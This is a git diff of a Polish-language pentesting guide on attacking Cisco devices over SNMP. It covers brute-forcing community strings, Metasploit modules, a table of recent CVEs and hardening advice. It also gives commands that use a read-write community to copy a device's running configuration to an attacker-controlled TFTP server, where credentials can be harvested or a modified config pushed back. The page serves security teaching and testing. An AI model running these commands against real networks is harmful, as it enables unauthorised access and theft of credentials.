diff --git a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md index 54d454d35..b315b776c 100644 --- a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -2,37 +2,94 @@ {{#include ../../banners/hacktricks-training.md}} - ## Pentesting Cisco Networks -**SNMP** działa na UDP z portami 161/UDP dla ogólnych wiadomości i 162/UDP dla wiadomości trap. Protokół ten opiera się na ciągach społeczności, które pełnią rolę haseł umożliwiających komunikację między agentami SNMP a serwerami. Ciągi te są kluczowe, ponieważ określają poziomy dostępu, w szczególności **tylko do odczytu (RO) lub odczytu i zapisu (RW)**. Znaczącym wektorem ataku dla pentesterów jest **brute-forcing ciągów społeczności**, mający na celu infiltrację urządzeń sieciowych. +**SNMP** działa na UDP z portami **161/UDP** dla ogólnych wiadomości i **162/UDP** dla wiadomości trap. Protokół ten opiera się na *ciągach społeczności*, które pełnią rolę "haseł" w postaci tekstu jawnego, umożliwiających komunikację między agentami SNMP a menedżerami. Te ciągi określają poziom dostępu, w szczególności **tylko do odczytu (RO) lub odczytu i zapisu (RW)**. -Praktycznym narzędziem do przeprowadzania takich ataków brute-force jest [**onesixtyone**](https://github.com/trailofbits/onesixtyone), które wymaga listy potencjalnych ciągów społeczności oraz adresów IP celów: +Klasycznym—ale wciąż niezwykle skutecznym—wektorem ataku jest **brute-force ciągów społeczności**, aby podnieść się z nieautoryzowanego użytkownika do administratora urządzenia (RW community). Praktycznym narzędziem do tego zadania jest [**onesixtyone**](https://github.com/trailofbits/onesixtyone): ```bash -onesixtyone -c communitystrings -i targets +onesixtyone -c community_strings.txt -i targets.txt ``` -#### `cisco_config_tftp` - -Framework Metasploit zawiera moduł `cisco_config_tftp`, który ułatwia ekstrakcję konfiguracji urządzeń, w zależności od uzyskania ciągu społeczności RW. Kluczowe parametry dla tej operacji obejmują: - -- RW community string (**COMMUNITY**) -- IP atakującego (**LHOST**) -- IP docelowego urządzenia (**RHOSTS**) -- Ścieżka docelowa dla plików konfiguracyjnych (**OUTPUTDIR**) - -Po skonfigurowaniu, moduł ten umożliwia pobranie ustawień urządzenia bezpośrednio do określonego folderu. - -#### `snmp_enum` - -Inny moduł Metasploit, **`snmp_enum`**, specjalizuje się w zbieraniu szczegółowych informacji o sprzęcie. Działa z dowolnym typem ciągu społeczności i wymaga adresu IP celu do pomyślnego wykonania: +Inne szybkie opcje to skrypt Nmap NSE `snmp-brute` lub moduł SNMP Hydry: ```bash -msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public -msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 -msf6 auxiliary(scanner/snmp/snmp_enum) > exploit +nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24 +hydra -P wordlist.txt -s 161 10.10.10.1 snmp ``` +--- + +### Zrzut konfiguracji przez SNMP (CISCO-CONFIG-COPY-MIB) +Jeśli uzyskasz **RW community**, możesz skopiować running-config/startup-config na serwer TFTP/FTP *bez dostępu do CLI*, wykorzystując CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Dwa powszechne podejścia to: + +1. **Nmap NSE – `snmp-ios-config`** +```bash +nmap -sU -p161 --script snmp-ios-config \ +--script-args creds.snmp=private 192.168.66.1 +``` +Skrypt automatycznie organizuje operację kopiowania i drukuje konfigurację na stdout. + +2. **Ręczna sekwencja `snmpset`** +```bash +# Copy running-config (4) to a TFTP server (1) – random row id 1234 +snmpset -v2c -c private 192.168.66.1 \ +1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp +1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig +1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile +1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP +1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\ +1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo +``` +Identyfikatory wierszy są *jednorazowe*; ponowne użycie w ciągu pięciu minut wywołuje błędy `inconsistentValue`. + +Gdy plik jest na Twoim serwerze TFTP, możesz sprawdzić dane uwierzytelniające (`enable secret`, `username secret` itp.) lub nawet przesłać zmodyfikowaną konfigurację z powrotem do urządzenia. + +--- + +### Metasploit goodies + +* **`cisco_config_tftp`** – pobiera running-config/startup-config za pomocą TFTP po nadużyciu tej samej MIB. +* **`snmp_enum`** – zbiera informacje o inwentarzu urządzeń, VLAN-ach, opisach interfejsów, tabelach ARP itp. +```bash +use auxiliary/scanner/snmp/snmp_enum +set RHOSTS 10.10.100.10 +set COMMUNITY public +run +``` +--- + +## Ostatnie luki w SNMP Cisco (2023 – 2025) +Śledzenie powiadomień od dostawców jest przydatne do określenia możliwości *zero-day-to-n-day* w ramach zaangażowania: + +| Rok | CVE | Dotknięta funkcja | Wpływ | +|------|----------------|----------------------------------|-----------------------------------------------------------------------| +| 2025 | CVE-2025-20174 | Podsystem SNMP | Opracowany pakiet prowadzi do uwierzytelnionego *DoS* (przeładowanie) na IOS/IOS-XE (v1/v2c/v3). | +| 2024 | CVE-2024-20373 | Obsługa ACL IPv4 | Źle skonfigurowane **rozszerzone** ACL cicho *nie działają*, umożliwiając nieautoryzowane sondowanie SNMP, gdy znana jest ważna społeczność/użytkownik. | +| 2025 | (brak CVE jeszcze) | Ominięcie ograniczeń konfiguracji SNMPv3 | Ważny użytkownik v3 może sondować z adresów, które powinny być zablokowane. | + +Możliwość wykorzystania często nadal zależy od posiadania ciągu społeczności lub poświadczeń v3 – kolejny powód, dla którego ich łamanie pozostaje istotne. + +--- + +## Wskazówki dotyczące wzmocnienia i wykrywania + +* Zaktualizuj do poprawionej wersji IOS/IOS-XE (zobacz powiadomienie Cisco dotyczące powyższego CVE). +* Preferuj **SNMPv3** z `authPriv` (SHA-256/AES-256) zamiast v1/v2c. +``` +snmp-server group SECURE v3 priv +snmp-server user monitor SECURE v3 auth sha priv aes 256 +``` +* Powiąż SNMP z VRF zarządzania i **ogranicz z *standardowymi* numerowanymi ACL IPv4** (rozszerzone nazwane ACL są ryzykowne – CVE-2024-20373). +* Wyłącz **RW communities**; jeśli jest to operacyjnie wymagane, ogranicz je za pomocą ACL i widoków: +`snmp-server community RW 99 view SysView` +* Monitoruj: +- Wzrosty UDP/161 lub nieoczekiwane źródła (reguły SIEM). +- Wydarzenia `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` wskazujące na zmiany konfiguracji poza pasmem. +* Włącz **logowanie SNMPv3** i `snmp-server packetsize 1500`, aby zredukować niektóre wektory DoS. + +--- + ## Odniesienia -- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - +- Cisco: *Jak kopiować konfiguracje do i z urządzeń Cisco za pomocą SNMP* +- Powiadomienie bezpieczeństwa Cisco *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373) {{#include ../../banners/hacktricks-training.md}}